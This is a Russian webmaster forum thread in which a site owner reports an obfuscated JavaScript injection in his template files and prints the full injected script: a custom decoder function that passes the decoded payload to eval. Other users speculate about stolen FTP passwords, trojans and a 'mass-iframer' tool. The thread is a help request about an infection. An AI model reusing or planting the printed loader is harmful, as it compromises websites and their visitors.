Вирус, дописывающий яваскрипт в файлы на сервере

12
sozon
На сайте с 04.09.2006
Offline
90
1401

В общем в один момент перестал у меня работать один из сайтов. Стал разбираться что случилось и нашел в файле header.tpl вставку яваскриптовую.


<script language=JavaScript> function aabnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,45,56,32,22,10,15,3,27,0,0,0,0,0,0,0,31,61,30,4,16,6,26,55,34,8,51,62,52,29,5,9,35,7,43,17,48,37,1,54,42,47,25,0,0,0,0,33,0,28,38,41,40,13,59,2,58,21,20,14,39,60,19,49,11,44,36,24,12,57,53,18,23,50,46);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(135^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}aabnb25('TfBhPPkmcw0mb6YmLRpd7PBhH75YPPkuyRz2c6@XTxYfJpKR3zRf_xYuXpKcc8zhHRpu_8f1WB5AvnzzUKKmJ@@YdHXYL@Y2H6BXzlB2dPhmdHpdqXquJ0BXvPzmc6KR58KmYlFAblK2dRKRzWX1Lkf10h5R3wB2WBR13y5dUB5mz6KmYRfqWhfcYpzf30Kmhw81lw0mKYz2h4h2zn0AR8z0AbkhcpBcuzpXzQBAbRz2ugXR') </script><!-- 84.204.229.19 -->

Этот скрипт был вставлен сразу после открывающего body. Раньше уже сталкивался с такой проблемой на другом сайте. Поспрашивал по форумам мне сказали что это из за того, что я сохранил пароль от фтп в тотал командоре. С тех пор я его там не сохраняю, но видимо дело не в этом, т.к. все равно файл каким то образом изменился.

PS Движки в обоих случаях самописные, т.е. очевидно вирус просто ищет файлы с открывающим body и дописывает яваскрипт.

У кого нить были подобные проблемы?

PSS щас проблил ip адрес, указанный после скрипта - это ip бизхоста (зараженный сайт тоже хостился там же).

K
На сайте с 29.04.2008
Offline
74
#1

у вас либо пароли на фтп угнаны - смените, либо дыра в дыиге которая позволяет писать в файлы.

Open Source Danneo CMS (http://nafn.ru)
V2D2
На сайте с 02.07.2007
Offline
67
#2

чистите свой комп от троянов и меняйте ВСЕ пароли.

Brand from Amber
На сайте с 18.08.2007
Offline
293
#3
sozon:
Поспрашивал по форумам мне сказали что это из за того, что я сохранил пароль от фтп в тотал командоре. С тех пор я его там не сохраняю, но видимо дело не в этом, т.к. все равно файл каким то образом изменился

Что не сохраняете - хорошо, а поменять догадались? ...хотя, скорее всего, дело не в этом - фтп (обычно) используется только 1-ин раз для заливки шелла при помощи которого происходит дальнейшее управление сайтом.

P.S. Не исключена и возможность заражения самого хостера.

Лучший способ понять что-то самому - объяснить это другому.
V2D2
На сайте с 02.07.2007
Offline
67
#4

заражение хостера - вряд-ли, обычно там юниксовые ОС, и заразить их не так уж и просто.

а сохрание или нет в тотале мало чем поможет. если троян засел, он может перехватывать пароли при авторизации, фтп самый незащищенный протокол.

sozon
На сайте с 04.09.2006
Offline
90
#5

Пороли конечно менял и в тот раз и в этот.

Щас отписал хостеру. Буду ждать ответа.

Ord
На сайте с 15.11.2005
Offline
175
Ord
#6

Либо ФТП пароли украли, либо SSH пароли угнали ну или движок дырявый

Создаем лучший кулинарный проект, iamcook.ru
sozon
На сайте с 04.09.2006
Offline
90
#7

ДА нет дело не в движке.

Движки были разные у разных сайтов. Заражены практически все - и самописные и DLE и ipb.

Пароли сменил, буду чистить и наблюдать.

SJ
На сайте с 16.03.2008
Offline
78
#8
region15:
заражение хостера - вряд-ли, обычно там юниксовые ОС, и заразить их не так уж и просто.

😂

ТС, спалю тему - большинство подобных вирусов ищет файлы index.* (php, html..).

Если его переименовать в main.php, например, а в .htaccess прописть что он DirectoryIndex, то большинство подобных вирусов - пролетает.

Любимый хостинг (http://beget.ru?id=2902) How can we grow old when the soundtrack of our lives is rock-n-roll?
sozon
На сайте с 04.09.2006
Offline
90
#9

Большинство наверное, но этот немного не так себя ведет. Во первых первым был заражен файл header.tpl

Сейчас смотрю что еще изменено. В общем алгоритм рисуется примерно такой:

вирус ищет в каждой директории и поддиректории файл index.* и если находит - то изменяет его, если не находит, то изменяется первый попавшийся с html кодом.

Потому что в каждой директории заражен хотя бы один файл с html. При этом ни один чисто php шный файл не тронут.

Vizavi
На сайте с 31.08.2008
Offline
145
#10

это не вирус, это mass-iframer, в скрипт загружаются акки фтп с паролями, и пошло. какие страницы будут инжектиться прописывается в настройках скрипта.

Большой брат следит за тобой.
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий